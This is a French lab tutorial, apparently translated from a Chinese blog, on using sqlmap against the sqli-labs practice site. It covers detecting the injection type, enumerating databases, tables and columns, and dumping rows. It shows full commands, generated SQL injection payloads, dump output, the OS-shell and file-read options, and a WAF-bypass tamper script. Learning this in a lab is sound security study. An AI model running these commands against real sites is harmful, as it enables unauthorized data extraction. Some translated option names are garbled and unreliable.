"Web Security Attack and Defense" utilise sqli-labs pour se familiariser avec l'artefact de SQLmap, et je suis également à peu près familier avec l'utilisation de cet outil.
Les étapes de base de l'injection SQL:
- Déterminez le type d'injection
- Obtenir le nom de la base de données
- Obtenir le nom de la table de données
- Obtenir le nom du champ
- récupérer des données
1 Déterminez le type d'injection
1.1 Obtenir le type
Utilisez le paramètre -u pour spécifier l'url (sqlmap niveau 1)
sqlmap -u "http://localhost:4000/Less-1?id=1"
Il est à noter que l'URL doit de préférence être accompagnée des paramètres demandés.
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind(布尔盲注)
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 9623=9623 AND 'JjhO'='JjhO
Type: error-based(报错注入)
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=1' AND GTID_SUBSET(CONCAT(0x71767a7871,(SELECT (ELT(3702=3702,1))),0x716a6b6271),3702) AND 'oyIr'='oyIr
Type: time-based blind(延时注入)
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 8003 FROM (SELECT(SLEEP(5)))etaK) AND 'ACHt'='ACHt
Type: UNION query(联合注入)
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-9510' UNION ALL SELECT NULL,CONCAT(0x71767a7871,0x65497456414974586b4c4a676479645971685666684c6163637353757955774841706b47726a6755,0x716a6b6271),NULL-- -
---
Comme mentionné ci-dessus, le paramètre id peut utiliser 4 techniques d'injection (booléenne, erreur, délai, union), et la charge utile utilisée est également donnée. SQLmap utilise 5 techniques d'injection SQL:
- Injection articulaire
- Injection d'erreur
- Stores booléens
- Retarder l'injection
- Injection de pile
Si vous n'êtes pas familier avec ces types d'injection, vous pouvez vous rendre sur sqli-labs pour le faire. Vous pouvez vous référer à mon précédent article: https://blog.csdn.net/qq_43085611/article/details/112661431.
1.2 Type POST ou GET
Utilisez Burp Suite pour capturer des paquets (la page Web qui doit être capturée est une URL construite localement, qui est généralement accessible via localhost ou 127.0.0.1, mais si vous transmettez ces deux adresses, Burp Suite ne peut pas capturer le paquet. Vous pouvez envisager modification de l'hôte Pour utiliser d'autres noms de domaine pour accéder), et enfin enregistrer le package capturé localement en tant que fichier 1.txt.
Utilisez ensuite le paramètre -r pour spécifier le package HTTP (-r REQUESTFILE Charger la requête HTTP à partir d'un fichier)
sqlmap -r 1.txt
Cette méthode peut détecter des vulnérabilités d'injection de type GET ou de type POST.
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 2269=2269 AND 'fYWA'='fYWA
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=1' AND GTID_SUBSET(CONCAT(0x716b6a7671,(SELECT (ELT(8383=8383,1))),0x7176786a71),8383) AND 'THdq'='THdq
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 1253 FROM (SELECT(SLEEP(5)))PKdp) AND 'yWGz'='yWGz
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-8764' UNION ALL SELECT NULL,NULL,CONCAT(0x716b6a7671,0x766e654f656c6f7779676842616d704f53567a74486b645956614a4b527578794d6f44544775644b,0x7176786a71)-- -
Si vous regardez attentivement les informations d'invite fournies par SQLmap, vous pouvez voir qu'il a enregistré les résultats en cours d'exécution
[16:00:42] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:00:42] [INFO] fetched data logged to text files under '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top'(运行结果保存地址)
[*] ending @ 16:00:42 /2021-01-26/
2 Obtenez le nom de la base de données
Utilisez la commande
sqlmap -r 1.txt --dbs
Informations sur la base de données
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:05:51] [INFO] fetching database names
[16:05:51] [WARNING] reflective value(s) found and filtering out
[16:05:51] [INFO] retrieved: 'mysql'
[16:05:51] [INFO] retrieved: 'information_schema'
[16:05:51] [INFO] retrieved: 'performance_schema'
[16:05:51] [INFO] retrieved: 'sys'
[16:05:51] [INFO] retrieved: 'study'
[16:05:51] [INFO] retrieved: 'hello_ssm'
[16:05:51] [INFO] retrieved: 'dvwa'
[16:05:51] [INFO] retrieved: 'security'
[16:05:51] [INFO] retrieved: 'challenges'
available databases [9]:
[*] challenges
[*] dvwa
[*] hello_ssm
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] study
[*] sys
3 Obtenez le nom de la table de données
Utilisez la commande
sqlmap -r 1.txt --tables
Cette commande répertorie tous les noms de table du système et n'est pas utilisée fréquemment.
Commandes couramment utilisées pour obtenir le nom de la table de données
sqlmap -r 1.txt -D="security" --tables
Utilisez -D pour spécifier le nom de la base de données afin d'obtenir le nom de la table de données d'une base de données spécifique. Les résultats de l'exécution sont les suivants:
[16:09:23] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:09:23] [INFO] fetching tables for database: 'security'
[16:09:23] [WARNING] reflective value(s) found and filtering out
[16:09:23] [INFO] retrieved: 'emails'
[16:09:23] [INFO] retrieved: 'referers'
[16:09:23] [INFO] retrieved: 'uagents'
[16:09:23] [INFO] retrieved: 'users'
Database: security
[4 tables]
+----------+
| emails |
| referers |
| uagents |
| users |
+----------+
[16:09:23] [INFO] fetched data logged to text files under '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top'
[*] ending @ 16:09:23 /2021-01-26/
4 Obtenez le nom du champ
Semblable à la méthode d'obtention du nom de table ci-dessus, nous ferions mieux de spécifier un nom de table de données
sqlmap -r 1.txt -D="security" -T emails --columns
En plus d'utiliser le -D="security"
mode de réalisation des paramètres spécifiés , il peut également être utilisé -T email
dans le mode de réalisation.
Les résultats de l'exécution sont les suivants:
[16:13:59] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:13:59] [INFO] fetching columns for table 'emails' in database 'security'
[16:14:00] [WARNING] reflective value(s) found and filtering out
[16:14:00] [INFO] retrieved: 'id','int'
[16:14:00] [INFO] retrieved: 'email_id','varchar(30)'
Database: security
Table: emails
[2 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| email_id | varchar(30) |
| id | int |
+----------+-------------+
[16:14:00] [INFO] fetched data logged to text files under '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top'
[*] ending @ 16:14:00 /2021-01-26/
5 Obtenir des données
La commande utilisée est:
sqlmap -r 1.txt -D "security" -T emails -C email_id,id --dump
Les résultats de l'exécution sont les suivants:
[16:17:19] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:17:19] [INFO] fetching entries of column(s) 'email_id, id' for table 'emails' in database 'security'
[16:17:19] [WARNING] reflective value(s) found and filtering out
[16:17:19] [INFO] retrieved: '[email protected]','1'
[16:17:19] [INFO] retrieved: '[email protected]','2'
[16:17:19] [INFO] retrieved: '[email protected]','3'
[16:17:19] [INFO] retrieved: '[email protected]','4'
[16:17:19] [INFO] retrieved: '[email protected]','5'
[16:17:19] [INFO] retrieved: '[email protected]','6'
[16:17:19] [INFO] retrieved: '[email protected]','7'
[16:17:19] [INFO] retrieved: '[email protected]','8'
Database: security
Table: emails
[8 entries]
+------------------------+----+
| email_id | id |
+------------------------+----+
| [email protected] | 1 |
| [email protected] | 2 |
| [email protected] | 3 |
| [email protected] | 4 |
| [email protected] | 5 |
| [email protected] | 6 |
| [email protected] | 7 |
| [email protected] | 8 |
+------------------------+----+
[16:17:19] [INFO] table 'security.emails' dumped to CSV file '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top/dump/security/emails.csv'(数据表)
[16:17:19] [INFO] fetched data logged to text files under '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top'
[*] ending @ 16:17:19 /2021-01-26/
Les données acquises seront enregistrées dans un fichier csv.
6 Autres paramètres
Configuration
- -Niveau n: où n est 1 à 5, représentant différents niveaux de détection (plus le niveau est élevé, plus le test sera complet, mais plus de requêtes seront envoyées. La valeur par défaut est 1)
- -Referer: Réglez le référent pour tromper.
- --Sql-shel: exécuter des instructions SQL personnalisées
- –Os-cmd ou –os-shell: exécute les commandes système
- --File-read: lit les fichiers système
- –File-write ou –file-dest: écriture de fichier
- - Nom du module Tamper: spécifiez un script pour contourner WAF / IDS / IPS
recueillir le message
- -Utilisateurs: tous les utilisateurs
- -Passwords: le mot de passe de l'utilisateur
- -Curent-db: nom actuel de la base de données
- -Curent-user: nom d'utilisateur actuel
- –Is-dba: indique si l'utilisateur actuel est un administrateur
- -Rôles: administrateurs de listes
7 Autoprotection
Le sabotage est généralement utilisé pour contourner WAF. Utilisez un simple code base64 pour l'analyser.
#!/usr/bin/env python
"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Base64-encodes all characters in a given payload
>>> tamper("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
"""
return encodeBase64(payload, binary=False) if payload else payload
Le sabotage consiste principalement à effectuer une conversion avant l'envoi. Par exemple, certains sites Web effectueront un chiffrement Base64 avant l'envoi et le serveur effectuera un déchiffrement Base64 après avoir reçu les données. Si le sabotage n'est pas utilisé et que sqlmap est utilisé directement, le texte en clair sera envoyé, qui ne pourra certainement pas être injecté après le décryptage du serveur base64.
Habituellement, il est nécessaire d'analyser spécifiquement la façon dont le site Web envoie des données pour écrire un script de sabotage. Utilisation:--tamper 模块名(文件名)
.